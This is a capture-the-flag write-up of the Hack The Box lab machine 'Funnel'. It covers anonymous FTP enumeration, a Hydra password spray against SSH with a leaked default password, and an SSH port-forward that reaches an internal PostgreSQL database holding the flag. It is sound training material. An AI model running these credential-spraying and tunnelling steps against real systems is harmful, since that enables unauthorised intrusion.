Funnel

Overview

Funnel is a very-easy Linux Starting Point machine focused on SSH tunnelling concepts. Anonymous FTP access exposes internal onboarding documents — a welcome email listing employee usernames and a password policy PDF containing the default credential. Hydra password-sprays SSH to find the one account still using it, then an SSH local port-forward bridges the internal-only PostgreSQL service to the attacker’s machine, where a single SQL query retrieves the flag.

Recon

nmap -sC -sV 10.129.228.195

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Nov 28  2022 mail_backup
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5

Two ports open: FTP on 21 with anonymous access explicitly allowed, and SSH on 22. The mail_backup directory is immediately visible in the FTP banner.

Enumeration

Anonymous FTP gives access to a mail_backup/ folder containing two files.

ftp 10.129.228.195
# login: anonymous  password: (blank)
# ftp> cd mail_backup
# ftp> mget *
# ftp> exit

The welcome_28112022 file is an onboarding email addressed to five accounts — optimus, albert, andreas, christine, and maria — at funnel.htb. The password_policy.pdf is the document they were asked to read. Running pdftotext reveals it ends with the current default password: funnel123#!#, which every new account received and was expected to change.

pdftotext password_policy.pdf -

Foothold

With five usernames and one known default password, a password spray against SSH is the natural next step.

# requires: ~/htb/Funnel/loot/usernames.txt  (optimus, albert, andreas, christine, maria)
hydra -L usernames.txt -p 'funnel123#!#' 10.129.228.195 ssh -t 4

Hydra reports [22][ssh] login: christine password: funnel123#!#. Christine never changed the default.

sshpass -p 'funnel123#!#' ssh [email protected]

Shell as christine. Running ss -tlnp reveals PostgreSQL listening on 127.0.0.1:5432 — a localhost-only service not visible in the external nmap scan.

User flag

This is a Starting Point box — the single flag lives in the database rather than a traditional user.txt. Reaching it requires tunnelling the internal service.

Lateral Movement

PostgreSQL is bound to localhost, but SSH’s local port-forwarding feature lets any authenticated user bridge a local port on the attacker’s machine directly to any port on the target’s loopback interface — bypassing the access control that localhost binding was intended to enforce.

sshpass -p 'funnel123#!#' ssh -f -N -L 1234:localhost:5432 [email protected]

The -f -N flags background the process without spawning a shell. Verifying the tunnel is up:

ss -tlnp | grep 1234
# LISTEN  127.0.0.1:1234  (ssh pid)

Now localhost:1234 on the attacker’s machine forwards all traffic to 127.0.0.1:5432 on the target. Connecting with psql:

PGPASSWORD='funnel123#!#' psql -U christine -h localhost -p 1234 -c '\l'

Five databases are returned, including one named secrets. The same default credential that worked for SSH authenticates to PostgreSQL as well.

Flag

PGPASSWORD='funnel123#!#' psql -U christine -h localhost -p 1234 -d secrets -c '\dt'
PGPASSWORD='funnel123#!#' psql -U christine -h localhost -p 1234 -d secrets -c 'SELECT * FROM flag;'

              value
----------------------------------
 HTB{...}

Flag redacted. The secrets database contains a single flag table; a SELECT * returns the value directly.